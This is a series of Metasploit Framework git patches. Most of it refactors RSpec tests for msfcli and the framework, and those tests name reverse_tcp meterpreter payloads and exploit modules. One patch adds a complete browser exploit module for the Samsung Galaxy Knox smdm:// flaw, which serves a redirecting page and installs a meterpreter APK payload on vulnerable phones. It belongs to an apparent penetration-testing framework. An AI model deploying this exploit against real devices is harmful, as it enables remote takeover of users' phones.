linux/x86/shell/reverse_tcp with encoder x86/fnstenv_mov" do - args = "multi/handler payload=linux/x86/shell/reverse_tcp lhost=127.0.0.1 encoder=x86/fnstenv_mov E" - cli = Msfcli.new(args.split(' ')) - list = cli.generate_whitelist.map { |e| e.to_s } - answer = [ - /multi\/handler/, - /stages\/linux\/x86\/shell/, - /payloads\/(stagers|stages)\/linux\/x86\/.*(reverse_tcp)\.rb$/, - /encoders\/x86\/fnstenv_mov/, - /post\/.+/, - /encoders\/generic\/*/, - /nops\/.+/ - ].map { |e| e.to_s } + subject(:generate_whitelist) { + msfcli.generate_whitelist.map(&:to_s) + } - list.should eq(answer) - end + let(:args) { + [ + 'multi/handler', + "payload=#{payload_reference_name}", + 'lhost=127.0.0.1', + mode + ] + } - it "should generate a whitelist for windows/meterpreter/reverse_tcp with default options" do - args = 'multi/handler payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 E' - cli = Msfcli.new(args.split(' ')) - list = cli.generate_whitelist.map { |e| e.to_s } - answer = [ - /multi\/handler/, - /stages\/windows\/meterpreter/, - /payloads\/(stagers|stages)\/windows\/.*(reverse_tcp)\.rb$/, - /post\/.+/, - /encoders\/generic\/*/, - /encoders\/.+/, - /nops\/.+/ - ].map { |e| e.to_s } + let(:mode) { + 'E' + } - list.should eq(answer) - end + context 'with payload' do + context 'linux/x86/reverse_tcp' do + let(:payload_reference_name) { + 'linux/x86/reverse_tcp' + } - it "should generate a whitelist for windows/meterpreter/reverse_tcp with options: encoder='' post='' nop=''" do - args = "multi/handler payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 encoder='' post='' nop='' E" - cli = Msfcli.new(args.split(' ')) - list = cli.generate_whitelist.map { |e| e.to_s } - answer = [ - /multi\/handler/, - /stages\/windows\/meterpreter/, - /payloads\/(stagers|stages)\/windows\/.*(reverse_tcp)\.rb$/, - /encoders\/''/, - /post\/''/, - /nops\/''/, - /encoders\/generic\/*/ - ].map { |e| e.to_s } + context 'with encoder' do + let(:args) { + super().tap { |args| + args.insert(-2, "encoder=#{encoder_reference_name}") + } + } - list.should eq(answer) - end + context 'x86/fnstenv_mov' do + let(:encoder_reference_name) { + 'x86/fnstenv_mov' + } - it "should generate a whitelist for windows/meterpreter/reverse_tcp with options: encoder= post= nop=" do - args = "multi/handler payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 encoder= post= nop= E" - cli = Msfcli.new(args.split(' ')) - list = cli.generate_whitelist.map { |e| e.to_s } - answer = [ - /multi\/handler/, - /stages\/windows\/meterpreter/, - /payloads\/(stagers|stages)\/windows\/.*(reverse_tcp)\.rb$/, - /encoders\/generic\/*/ - ].map { |e| e.to_s } + it { + is_expected.to match_array( + [ + /multi\/handler/, + /stages\/linux\/x86\/shell/, + /payloads\/(singles|stagers|stages)\/linux\/x86\/.*(reverse_tcp)\.rb$/, + /encoders\/x86\/fnstenv_mov/, + /post\/.+/, + /encoders\/generic\/*/, + /nops\/.+/ + ].map(&:to_s) + ) + } + end + end + end - list.should eq(answer) + context 'windows/meterpreter/reverse_tcp' do + let(:payload_reference_name) { + 'windows/meterpreter/reverse_tcp' + } + + context 'with default options' do + it { + is_expected.to match_array( + [ + /multi\/handler/, + /stages\/windows\/meterpreter/, + /payloads\/(stagers|stages)\/windows\/.*(reverse_tcp)\.rb$/, + /post\/.+/, + /encoders\/generic\/*/, + /encoders\/.+/, + /nops\/.+/ + ].map(&:to_s) + ) + } + end + + context 'with encoder' do + let(:args) { + super().tap { |args| + args.insert(-2, "encoder=#{encoder_reference_name}") + } + } + + context "''" do + let(:encoder_reference_name) do + "''" + end + + context 'with post' do + let(:args) { + super().tap { |args| + args.insert(-2, "post=#{post_reference_name}") + } + } + + context "''" do + let(:post_reference_name) do + "''" + end + + context "with nop" do + let(:args) { + super().tap { |args| + args.insert(-2, "nop=#{nop_reference_name}") + } + } + + context "''" do + let(:nop_reference_name) { + "''" + } + + it { + is_expected.to match_array( + [ + /multi\/handler/, + /stages\/windows\/meterpreter/, + /payloads\/(stagers|stages)\/windows\/.*(reverse_tcp)\.rb$/, + /encoders\/''/, + /post\/''/, + /nops\/''/, + /encoders\/generic\/*/ + ].map(&:to_s) + ) + } + end + end + end + end + end + + context "" do + let(:encoder_reference_name) do + "" + end + + context 'with post' do + let(:args) { + super().tap { |args| + args.insert(-2, "post=#{post_reference_name}") + } + } + + context "" do + let(:post_reference_name) do + "" + end + + context "with nop" do + let(:args) { + super().tap { |args| + args.insert(-2, "nop=#{nop_reference_name}") + } + } + + context "" do + let(:nop_reference_name) { + "" + } + + it { + is_expected.to match_array( + [ + /multi\/handler/, + /stages\/windows\/meterpreter/, + /payloads\/(stagers|stages)\/windows\/.*(reverse_tcp)\.rb$/, + /encoders\/generic\/*/ + ].map(&:to_s) + ) + } + end + end + end + end + end + end + end end end From c0a3707c52b5ef3c3ea7289852c823b8b56f6895 Mon Sep 17 00:00:00 2001 From: Luke Imhoff Date: Tue, 11 Nov 2014 15:29:21 -0600 Subject: [PATCH 25/99] Update Msfcli#init_modules spec style MSP-11147 --- spec/msfcli_spec.rb | 190 ++++++++++++++++++++++++++++++-------------- 1 file changed, 131 insertions(+), 59 deletions(-) diff --git a/spec/msfcli_spec.rb b/spec/msfcli_spec.rb index 9dfd687d97..55af0979ac 100644 --- a/spec/msfcli_spec.rb +++ b/spec/msfcli_spec.rb @@ -478,78 +478,150 @@ describe Msfcli do context "#init_modules" do include_context 'Metasploit::Framework::Spec::Constants cleaner' - it "should inititalize an exploit module" do - args = 'exploit/windows/smb/psexec S' - m = '' - stdout = get_stdout { - cli = Msfcli.new(args.split(' ')) - m = cli.init_modules + let(:args) { + [ + module_name, + mode + ] + } + + let(:mode) { + 'S' + } + + context 'with exploit/windows/smb/psexec' do + let(:module_name) { + 'exploit/windows/smb/psexec' } - m[:module].class.to_s.should start_with("Msf::Modules::Mod") + + it 'creates the module in :module' do + modules = {} + + Kernel.quietly { + modules = msfcli.init_modules + } + + expect(modules[:module]).to be_an Msf::Exploit + expect(modules[:module].fullname).to eq(module_name) + end end - it "should inititalize an auxiliary module" do - args = 'auxiliary/server/browser_autopwn S' - m = '' - stdout = get_stdout { - cli = Msfcli.new(args.split(' ')) - m = cli.init_modules + context 'with auxiliary/server/browser_autopwn' do + let(:module_name) { + 'auxiliary/server/browser_autopwn' } - m[:module].class.to_s.should start_with("Msf::Modules::Mod") + + it 'creates the module in :module' do + modules = {} + + Kernel.quietly { + modules = msfcli.init_modules + } + + expect(modules[:module]).to be_an Msf::Auxiliary + expect(modules[:module].fullname).to eq(module_name) + end end - it "should inititalize a post module" do - args = 'post/windows/gather/credentials/gpp S' - m = '' - stdout = get_stdout { - cli = Msfcli.new(args.split(' ')) - m = cli.init_modules + context 'with post/windows/gather/credentials/gpp' do + let(:module_name) { + 'post/windows/gather/credentials/gpp' } - m[:module].class.to_s.should start_with("Msf::Modules::Mod") + + it 'creates the module in :module' do + modules = {} + + Kernel.quietly { + modules = msfcli.init_modules + } + + expect(modules[:module]).to be_an Msf::Post + expect(modules[:module].fullname).to eq(module_name) + end + end + + context 'with multi/handler' do + let(:module_name) { + 'multi/handler' + } + + it 'creates the module in :module' do + modules = {} + + Kernel.quietly { + modules = msfcli.init_modules + } + + expect(modules[:module]).to be_an Msf::Exploit + expect(modules[:module].refname).to eq(module_name) + end + + context 'with payload' do + let(:args) { + super().tap { |args| + args.insert(-2, "payload=#{payload_reference_name}") + } + } + + context 'windows/meterpreter/reverse_tcp' do + let(:payload_reference_name) do + 'windows/meterpreter/reverse_tcp' + end + + it 'creates payload in :payload' do + modules = {} + + Kernel.quietly { + modules = msfcli.init_modules + } + + expect(modules[:payload]).to be_an Msf::Payload + expect(modules[:payload].refname).to eq(payload_reference_name) + end + end + end + + context 'with data store options' do + let(:args) { + super().tap { |args| + args.insert(-2, "#{data_store_key}=#{data_store_value}") + } + } + + let(:data_store_key) { + 'lhost' + } + + let(:data_store_value) { + '127.0.0.1' + } + + it 'sets data store on :module' do + modules = {} + + Kernel.quietly { + modules = msfcli.init_modules + } + + expect(modules[:module].datastore[data_store_key]).to eq(data_store_value) + end + end end - it "should have multi/handler module initialized" do - args = "multi/handler payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 E" - m = '' - stdout = get_stdout { - cli = Msfcli.new(args.split(' ')) - m = cli.init_modules + context 'with invalid module name' do + let(:module_name) { + 'invalid/module/name' } - m[:module].class.to_s.should =~ /^Msf::Modules::/ - end + it 'returns empty modules Hash' do + modules = nil - it "should have my payload windows/meterpreter/reverse_tcp initialized" do - args = "multi/handler payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 E" - m = '' - stdout = get_stdout { - cli = Msfcli.new(args.split(' ')) - m = cli.init_modules - } + Kernel.quietly { + modules = msfcli.init_modules + } - m[:payload].class.to_s.should =~ / Date: Wed, 12 Nov 2014 09:08:36 -0600 Subject: [PATCH 26/99] Update Msfcli#engage_mode spec style MSP-11147 --- spec/msfcli_spec.rb | 236 ++++++++++++++++++++++++++------------------ 1 file changed, 138 insertions(+), 98 deletions(-) diff --git a/spec/msfcli_spec.rb b/spec/msfcli_spec.rb index 55af0979ac..5eb92da4c5 100644 --- a/spec/msfcli_spec.rb +++ b/spec/msfcli_spec.rb @@ -628,119 +628,159 @@ describe Msfcli do context "#engage_mode" do include_context 'Metasploit::Framework::Spec::Constants cleaner' - it "should show me the summary of module auxiliary/scanner/http/http_version" do - args = 'auxiliary/scanner/http/http_version s' - stdout = get_stdout { - cli = Msfcli.new(args.split(' ')) - m = cli.init_modules - cli.engage_mode(m) + subject(:engage_mode) { + msfcli.engage_mode(modules) + } + + let(:args) { + [ + module_name, + mode + ] + } + + let(:modules) { + msfcli.init_modules + } + + context 'with auxiliary/scanner/http/http_put' do + let(:module_name) { + 'auxiliary/scanner/http/http_put' } - stdout.should =~ /Module: auxiliary\/scanner\/http\/http_version/ + context 'with mode' do + context 'ac' do + let(:mode) { + 'ac' + } + + specify { + expect(get_stdout { engage_mode }).to match(/DELETE/) + } + end + end end - it "should show me the options of module auxiliary/scanner/http/http_version" do - args = 'auxiliary/scanner/http/http_version O' - stdout = get_stdout { - cli = Msfcli.new(args.split(' ')) - m = cli.init_modules - cli.engage_mode(m) + context 'with auxiliary/scanner/http/http_version' do + let(:module_name) { + 'auxiliary/scanner/http/http_version' } - stdout.should =~ /The target address range or CIDR identifier/ + context 'with mode' do + context 'A' do + let(:mode) { + 'A' + } + + specify { + expect(get_stdout { engage_mode }).to match(/UserAgent/) + } + end + + context 'I' do + let(:mode) { + 'I' + } + + specify { + expect(get_stdout { engage_mode }).to match(/Insert fake relative directories into the uri/) + } + end + + context 'O' do + let(:mode) { + 'O' + } + + specify { + expect(get_stdout { engage_mode }).to match(/The target address range or CIDR identifier/) + } + end + + context 'P' do + let(:mode) { + 'P' + } + + specify { + expect(get_stdout { engage_mode }).to match(/This type of module does not support payloads/) + } + end + + context 's' do + let(:mode) { + 's' + } + + specify { + expect(get_stdout { engage_mode }).to match %r{Module: auxiliary/scanner/http/http_version} + } + end + + context 't' do + let(:mode) { + 't' + } + + specify { + expect(get_stdout { engage_mode }).to match(/This type of module does not support targets/) + } + end + end end - it "should me the advanced options of module auxiliary/scanner/http/http_version" do - args = 'auxiliary/scanner/http/http_version A' - stdout = get_stdout { - cli = Msfcli.new(args.split(' ')) - m = cli.init_modules - cli.engage_mode(m) + context 'with windows/browser/ie_cbutton_uaf' do + let(:module_name) { + 'windows/browser/ie_cbutton_uaf' } - stdout.should =~ /UserAgent/ + context 'with mode' do + context 'ac' do + let(:mode) { + 'ac' + } + + specify { + expect(get_stdout { engage_mode }).to match(/This type of module does not support actions/) + } + end + + context 'P' do + let(:mode) { + 'P' + } + + specify { + expect(get_stdout { engage_mode }).to match(/windows\/meterpreter\/reverse_tcp/) + } + end + + context 'T' do + let(:mode) { + 'T' + } + + specify { + expect(get_stdout { engage_mode }).to match(/IE 8 on Windows 7/) + } + end + end end - it "should show me the IDS options of module auxiliary/scanner/http/http_version" do - args = 'auxiliary/scanner/http/http_version I' - stdout = get_stdout { - cli = Msfcli.new(args.split(' ')) - m = cli.init_modules - cli.engage_mode(m) + context 'with windows/smb/ms08_067_netapi' do + let(:module_name) { + 'windows/smb/ms08_067_netapi' } - stdout.should =~ /Insert fake relative directories into the uri/ - end - it "should show me the targets available for module windows/browser/ie_cbutton_uaf" do - args = "windows/browser/ie_cbutton_uaf T" - stdout = get_stdout { - cli = Msfcli.new(args.split(' ')) - m = cli.init_modules - cli.engage_mode(m) - } - stdout.should =~ /IE 8 on Windows 7/ - end + context 'with mode C' do + let(:mode) { + 'C' + } - it "should show me the payloads available for module windows/browser/ie_cbutton_uaf" do - args = "windows/browser/ie_cbutton_uaf P" - stdout = get_stdout { - cli = Msfcli.new(args.split(' ')) - m = cli.init_modules - cli.engage_mode(m) - } - stdout.should =~ /windows\/meterpreter\/reverse_tcp/ + specify { + expect(get_stdout { engage_mode }).to match(/#{Msf::Exploit::CheckCode::Unknown[1]}/) + } + end end - - it "should try to run the check function of an exploit" do - args = "windows/smb/ms08_067_netapi rhost=0.0.0.1 C" # Some BS IP so we can fail - stdout = get_stdout { - cli = Msfcli.new(args.split(' ')) - m = cli.init_modules - cli.engage_mode(m) - } - stdout.should =~ /#{Msf::Exploit::CheckCode::Unknown[1]}/ - end - - it "should warn my auxiliary module isn't supported by mode 'p' (show payloads)" do - args = 'auxiliary/scanner/http/http_version p' - stdout = get_stdout { - cli = Msfcli.new(args.split(' ')) - m = cli.init_modules - cli.engage_mode(m) - } - stdout.should =~ /This type of module does not support payloads/ - end - - it "should warn my auxiliary module isn't supported by mode 't' (show targets)" do - args = 'auxiliary/scanner/http/http_version t' - stdout = get_stdout { - cli = Msfcli.new(args.split(' ')) - m = cli.init_modules - cli.engage_mode(m) - } - stdout.should =~ /This type of module does not support targets/ - end - - it "should warn my exploit module isn't supported by mode 'ac' (show actions)" do - args = 'windows/browser/ie_cbutton_uaf ac' - stdout = get_stdout { - cli = Msfcli.new(args.split(' ')) - m = cli.init_modules - cli.engage_mode(m) - } - stdout.should =~ /This type of module does not support actions/ - end - - it "should show actions available for module auxiliary/scanner/http/http_put" do - args = "auxiliary/scanner/http/http_put ac" - stdout = get_stdout { - cli = Msfcli.new(args.split(' ')) - m = cli.init_modules - cli.engage_mode(m) - } - stdout.should =~ /DELETE/ - end - end - end From 8adc80fff10dd1b7785aac4a1992498ace1ece15 Mon Sep 17 00:00:00 2001 From: Luke Imhoff Date: Wed, 12 Nov 2014 09:16:37 -0600 Subject: [PATCH 27/99] Sort context entries MSP-11147 --- spec/msfcli_spec.rb | 14 +++++++++++--- 1 file changed, 11 insertions(+), 3 deletions(-) diff --git a/spec/msfcli_spec.rb b/spec/msfcli_spec.rb index 5eb92da4c5..d0b748fd7d 100644 --- a/spec/msfcli_spec.rb +++ b/spec/msfcli_spec.rb @@ -12,9 +12,9 @@ describe Msfcli do described_class.new(args) } - let(:args) { - [] - } + # + # methods + # # Get stdout: # http://stackoverflow.com/questions/11349270/test-output-to-command-line-with-rspec @@ -29,6 +29,14 @@ describe Msfcli do fake.string end + # + # lets + # + + let(:args) { + [] + } + context "#initialize" do context 'with module name' do let(:args) { From 8689b0adefc457e40709648e1b7640dcb5b53870 Mon Sep 17 00:00:00 2001 From: Joe Vennix Date: Wed, 12 Nov 2014 09:53:20 -0600 Subject: [PATCH 28/99] Add module for samsung knox root exploit. --- .../android/browser/samsung_knox_smdm_url.rb | 119 ++++++++++++++++++ 1 file changed, 119 insertions(+) create mode 100644 modules/exploits/android/browser/samsung_knox_smdm_url.rb diff --git a/modules/exploits/android/browser/samsung_knox_smdm_url.rb b/modules/exploits/android/browser/samsung_knox_smdm_url.rb new file mode 100644 index 0000000000..e3adc07606 --- /dev/null +++ b/modules/exploits/android/browser/samsung_knox_smdm_url.rb @@ -0,0 +1,119 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'digest/md5' + +class Metasploit3 < Msf::Exploit::Remote + + include Msf::Exploit::Remote::BrowserExploitServer + include Msf::Exploit::Remote::BrowserAutopwn + + VULN_CHECK_JS = "is_vuln = true;" + + autopwn_info( + :os_name => OperatingSystems::Match::ANDROID, + :arch => ARCH_ARMLE, + :javascript => true, + :rank => ExcellentRanking, + :vuln_test => VULN_CHECK_JS + ) + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Samsung Galaxy Knox Android Root Browser Exploit', + 'Description' => %q{ + A vulnerability exists in the Knox security component of the Samsung Galaxy + firmware that allows a remote webpage to install an arbitrary APK with root + permissions. + + The vulnerability has been confirmed in the Samsung Galaxy S4, S5, Note 3, + and Ace 4. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Andre Moulu', # discovery and advisory + 'joev' # msf module + ], + 'References' => [ + ['URL', 'http://blog.quarkslab.com/abusing-samsung-knox-to-remotely'+ + '-install-a-malicious-application-story-of-a-half-patched-v'+ + 'ulnerability.html'] + ], + 'Platform' => 'android', + 'Arch' => ARCH_DALVIK, + 'DefaultOptions' => { 'PAYLOAD' => 'android/meterpreter/reverse_tcp' }, + 'Targets' => [ [ 'Automatic', {} ] ], + 'DisclosureDate' => 'Nov 12 2014', + 'DefaultTarget' => 0, + 'BrowserRequirements' => { + :source => 'script', + :os_name => OperatingSystems::Match::ANDROID, + :vuln_test => VULN_CHECK_JS, + :vuln_test_error => 'The client is not vulnerable.' + } + )) + + register_options([ + OptString.new('APK_VERSION', [ + false, "The update version to advertise to the client", "1337" + ]) + ], self.class) + + + deregister_options('JsObfuscate') + end + + def on_request_uri(cli, req) + if req.uri =~ /\.apk$/ + is_head = req.method.upcase == 'HEAD' + print_status "Serving #{is_head ? 'metadata' : 'payload'}..." + send_response(cli, is_head ? '' : payload.encoded, magic_headers) + else + super + end + end + + # The browser appears to be vulnerable, serve the exploit + def on_request_exploit(cli, req, browser) + print_status "Serving exploit..." + send_response_html(cli, generate_html) + end + + def magic_headers + { 'Content-Length' => payload.encoded.length, + 'ETag' => Digest::MD5.hexdigest(payload.encoded), + 'x-amz-meta-apk-version' => datastore['APK_VERSION'] } + end + + def generate_html + %Q| + + + | + end + + def exploit_js + js_obfuscate %Q| + + setInterval(function(){ + var loc = window.location.href.replace(/[/.]$/g, ''); + window.location = 'smdm://#{rand_word}?update_url='+ + encodeURIComponent(loc)+'.apk'; + }, 500); + + | + end + + def apk_url + "#{get_uri.chomp('/')}/#{rand_word}.apk" + end + + def rand_word + Rex::Text.rand_text_alphanumeric(3+rand(12)) + end +end From 18953119114196455063c5b6eba8890d0b54e76b Mon Sep 17 00:00:00 2001 From: Joe Vennix Date: Wed, 12 Nov 2014 10:56:51 -0600 Subject: [PATCH 29/99] Change URL to single line. --- modules/exploits/android/browser/samsung_knox_smdm_url.rb | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/modules/exploits/android/browser/samsung_knox_smdm_url.rb b/modules/exploits/android/browser/samsung_knox_smdm_url.rb index e3adc07606..9dc35015a1 100644 --- a/modules/exploits/android/browser/samsung_knox_smdm_url.rb +++ b/modules/exploits/android/browser/samsung_knox_smdm_url.rb @@ -38,9 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote 'joev' # msf module ], 'References' => [ - ['URL', 'http://blog.quarkslab.com/abusing-samsung-knox-to-remotely'+ - '-install-a-malicious-application-story-of-a-half-patched-v'+ - 'ulnerability.html'] + ['URL', 'http://blog.quarkslab.com/abusing-samsung-knox-to-remotely-install-a-malicious-application-story-of-a-half-patched-vulnerability.html'] ], 'Platform' => 'android', 'Arch' => ARCH_DALVIK, From 61109d5567964a1430411ff5e3d6975fe5708d80 Mon Sep 17 00:00:00 2001 From: Luke Imhoff Date: Wed, 12 Nov 2014 12:13:53 -0600 Subject: [PATCH 30/99] Fix thread-leaks in msfcli spec MSP-11147 --- msfcli | 17 +++++++++++++++-- spec/msfcli_spec.rb | 21 +++++++++++++++++++++ 2 files changed, 36 insertions(+), 2 deletions(-) diff --git a/msfcli b/msfcli index 78759116d7..92ba2932d3 100755 --- a/msfcli +++ b/msfcli @@ -22,7 +22,6 @@ class Msfcli # @attribute framework # @return [Msf::Simple::Framework] - attr_writer :framework # # initialize @@ -46,10 +45,24 @@ class Msfcli # Instance Methods # + # The framework to create and list modules. + # + # @return [Msf::Simple::Framework] def framework @framework ||= Msf::Simple::Framework.create({'DeferModuleLoads'=>true}) end + # Sets {#framework}. + # + # @raise [ArgumentError] if {#framework} already set + def framework=(framework) + if instance_variable_defined? :@framework + fail ArgumentError.new("framework already set") + end + + @framework = framework + end + # # Returns a usage Rex table # @@ -92,7 +105,7 @@ class Msfcli # msfcli will end up loading EVERYTHING to memory to show you a help # menu plus a list of modules available. Really expensive if you ask me. $stdout.puts "[*] Please wait while we load the module tree..." - framework = Msf::Simple::Framework.create + self.framework = Msf::Simple::Framework.create ext = '' tbl = Rex::Ui::Text::Table.new( diff --git a/spec/msfcli_spec.rb b/spec/msfcli_spec.rb index d0b748fd7d..6ca4045029 100644 --- a/spec/msfcli_spec.rb +++ b/spec/msfcli_spec.rb @@ -143,6 +143,11 @@ describe Msfcli do # context "#dump_module_list" do include_context 'Metasploit::Framework::Spec::Constants cleaner' + include_context 'Msf::Framework#threads cleaner' + + let(:framework) { + msfcli.framework + } it 'dumps a listof modules' do tbl = '' @@ -485,6 +490,7 @@ describe Msfcli do context "#init_modules" do include_context 'Metasploit::Framework::Spec::Constants cleaner' + include_context 'Msf::Framework#threads cleaner' let(:args) { [ @@ -493,6 +499,10 @@ describe Msfcli do ] } + let(:framework) { + msfcli.framework + } + let(:mode) { 'S' } @@ -635,6 +645,7 @@ describe Msfcli do context "#engage_mode" do include_context 'Metasploit::Framework::Spec::Constants cleaner' + include_context 'Msf::Framework#threads cleaner' subject(:engage_mode) { msfcli.engage_mode(modules) @@ -647,6 +658,10 @@ describe Msfcli do ] } + let(:framework) { + msfcli.framework + } + let(:modules) { msfcli.init_modules } @@ -776,6 +791,12 @@ describe Msfcli do end context 'with windows/smb/ms08_067_netapi' do + let(:args) { + super().tap { |args| + args.insert(-2, "RHOST=127.0.0.1") + } + } + let(:module_name) { 'windows/smb/ms08_067_netapi' } From 22cbc5ca024b46c4e002c8eae32b1d9e4cc55388 Mon Sep 17 00:00:00 2001 From: Luke Imhoff Date: Wed, 12 Nov 2014 12:18:08 -0600 Subject: [PATCH 31/99] Use named subject instead of subject MSP-11147 --- spec/lib/msf/core/framework_spec.rb | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/spec/lib/msf/core/framework_spec.rb b/spec/lib/msf/core/framework_spec.rb index 9c7094cced..2948ad836b 100644 --- a/spec/lib/msf/core/framework_spec.rb +++ b/spec/lib/msf/core/framework_spec.rb @@ -8,20 +8,20 @@ describe Msf::Framework do describe "#version" do CURRENT_VERSION = "4.10.1-dev" - subject do + subject(:framework) do described_class.new end it "should return the current version" do - subject.version.should == CURRENT_VERSION + framework.version.should == CURRENT_VERSION end it "should return the Version constant" do - described_class.const_get(:Version).should == subject.version + described_class.const_get(:Version).should == framework.version end it "should return the concatenation of Major.Minor.Point-Release" do - major,minor,point,release = subject.version.split(/[.-]/) + major,minor,point,release = framework.version.split(/[.-]/) major.to_i.should == described_class::Major minor.to_i.should == described_class::Minor point.to_i.should == described_class::Point @@ -30,7 +30,7 @@ describe Msf::Framework do skip "conform to SemVer 2.0 syntax: http://semver.org/" do it "should have constants that correspond to SemVer standards" do - major,minor,patch,label = subject.version.split(/[.-]/) + major,minor,patch,label = framework.version.split(/[.-]/) major.to_i.should == described_class::VERSION::MAJOR minor.to_i.should == described_class::VERSION::MINOR point.to_i.should == described_class::VERSION::POINT From 3ff87c89fe805cf16dc046adae1a7b4c9a95f68a Mon Sep 17 00:00:00 2001 From: Luke Imhoff Date: Wed, 12 Nov 2014 12:20:23 -0600 Subject: [PATCH 32/99] Clean up Msf::Framework spec thread-leaks MSP-11147 --- spec/lib/msf/core/framework_spec.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/spec/lib/msf/core/framework_spec.rb b/spec/lib/msf/core/framework_spec.rb index 2948ad836b..d508576fb2 100644 --- a/spec/lib/msf/core/framework_spec.rb +++ b/spec/lib/msf/core/framework_spec.rb @@ -4,6 +4,7 @@ require 'spec_helper' require 'msf/core/framework' describe Msf::Framework do + include_context 'Msf::Framework#threads cleaner' describe "#version" do CURRENT_VERSION = "4.10.1-dev" From 44f78c21b2c7895a7e4a867aad7ccf294829296f Mon Sep 17 00:00:00 2001 From: Luke Imhoff Date: Wed, 12 Nov 2014 12:27:33 -0600 Subject: [PATCH 33/99] Tag Msfcli spec as content MSP-11147 Tests currently use the real modules directory for test cases, so the spec should be tagged with :content because it has same performance issues as other content specs that can potentially load all the modules. --- spec/msfcli_spec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/spec/msfcli_spec.rb b/spec/msfcli_spec.rb index 6ca4045029..c6dbd35978 100644 --- a/spec/msfcli_spec.rb +++ b/spec/msfcli_spec.rb @@ -7,7 +7,7 @@ require 'msf/ui' require 'msf/base' -describe Msfcli do +describe Msfcli, :content do subject(:msfcli) { described_class.new(args) } From 2fc6154ce971c772e26b6098baec2951b78bd3e9 Mon Sep 17 00:00:00 2001 From: Luke Imhoff Date: Wed, 12 Nov 2014 13:33:21 -0600 Subject: [PATCH 34/99] Update db/schema.rb MSP-11147 Must be missing on master too. --- db/schema.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/db/schema.rb b/db/schema.rb index d2e6805207..83e99da75a 100644 --- a/db/schema.rb +++ b/db/schema.rb @@ -11,7 +11,7 @@ # # It's strongly recommended to check this file into your version control system. -ActiveRecord::Schema.define(:version => 20140905031549) do +ActiveRecord::Schema.define(:version => 20140922170030) do create_table "api_keys", :force => true do |t| t.text "token" @@ -272,6 +272,7 @@ ActiveRecord::Schema.define(:version => 20140905031549) do t.string "username", :null => false t.datetime "created_at", :null => false t.datetime "updated_at", :null => false + t.string "type", :null => false end add_index "metasploit_credential_publics", ["username"], :name => "index_metasploit_credential_publics_on_username", :unique => true From cca82f4b3647fb4989a5f31a525cb4c3b3473ee5 Mon Sep 17 00:00:00 2001 From: Luke Imhoff Date: Wed, 12 Nov 2014 13:41:30 -0600 Subject: [PATCH 35/99] Failing spec for Msf::Framework.new threads MSP-11605 `Msf::Framework.new` creates 8 threads (change from 1 thread to 9 threads), but it shouldn't create any threads. --- spec/lib/msf/core/framework_spec.rb | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/spec/lib/msf/core/framework_spec.rb b/spec/lib/msf/core/framework_spec.rb index d508576fb2..7613af47a0 100644 --- a/spec/lib/msf/core/framework_spec.rb +++ b/spec/lib/msf/core/framework_spec.rb @@ -6,6 +6,18 @@ require 'msf/core/framework' describe Msf::Framework do include_context 'Msf::Framework#threads cleaner' + context '#initialize' do + subject(:framework) { + described_class.new + } + + it 'creates no threads' do + expect { + framework + }.not_to change { Thread.list.count } + end + end + describe "#version" do CURRENT_VERSION = "4.10.1-dev" From ea6d8860a13303d6362eecb528bbbe2d7da8687a Mon Sep 17 00:00:00 2001 From: Joe Vennix Date: Wed, 12 Nov 2014 21:51:55 -0600 Subject: [PATCH 36/99] Not root, just arbitrary permissions. --- modules/exploits/android/browser/samsung_knox_smdm_url.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/android/browser/samsung_knox_smdm_url.rb b/modules/exploits/android/browser/samsung_knox_smdm_url.rb index 9dc35015a1..960601b215 100644 --- a/modules/exploits/android/browser/samsung_knox_smdm_url.rb +++ b/modules/exploits/android/browser/samsung_knox_smdm_url.rb @@ -23,10 +23,10 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Samsung Galaxy Knox Android Root Browser Exploit', + 'Name' => 'Samsung Galaxy Knox Android Browser RCE', 'Description' => %q{ A vulnerability exists in the Knox security component of the Samsung Galaxy - firmware that allows a remote webpage to install an arbitrary APK with root + firmware that allows a remote webpage to install an APK with arbitrary permissions. The vulnerability has been confirmed in the Samsung Galaxy S4, S5, Note 3, From 535f69b56d8c1f3179020058afd4580d5d2184b8 Mon Sep 17 00:00:00 2001 From: Luke Imhoff Date: Thu, 13 Nov 2014 09:19:07 -0600 Subject: [PATCH 37/99] Append to RUBYOPT for debugger compatibility MSP-11147 When using Rubymine's debugger, the tests would run and say there were no tests and no break points would be hit. It was determined that this was due the Rubymine's debugger injecting itself into RUBYOPTS and only working if it's first in RUBYOPT, which means that 'metasploit:framework:spec:threads:suite' must inject '-Ilib -rmetasploit/framework/spec/threads/logger' at the end of RUBOPT instead of the beginning. --- lib/metasploit/framework/spec/threads/suite.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/lib/metasploit/framework/spec/threads/suite.rb b/lib/metasploit/framework/spec/threads/suite.rb index 132624847d..2a4b81ced3 100644 --- a/lib/metasploit/framework/spec/threads/suite.rb +++ b/lib/metasploit/framework/spec/threads/suite.rb @@ -118,7 +118,8 @@ module Metasploit threads_logger_pathname = parent_pathname.join('logger') load_pathname = parent_pathname.parent.parent.parent.parent.expand_path - ENV['RUBYOPT'] = "-I#{load_pathname} -r#{threads_logger_pathname} #{ENV['RUBYOPT']}" + # Must append to RUBYOPT or Rubymine debugger will not work + ENV['RUBYOPT'] = "#{ENV['RUBYOPT']} -I#{load_pathname} -r#{threads_logger_pathname}" end Rake::Task.define_task(spec: 'metasploit:framework:spec:threads:suite') From b17b263cc73f08abcc04b6b3ab9d202a9306256a Mon Sep 17 00:00:00 2001 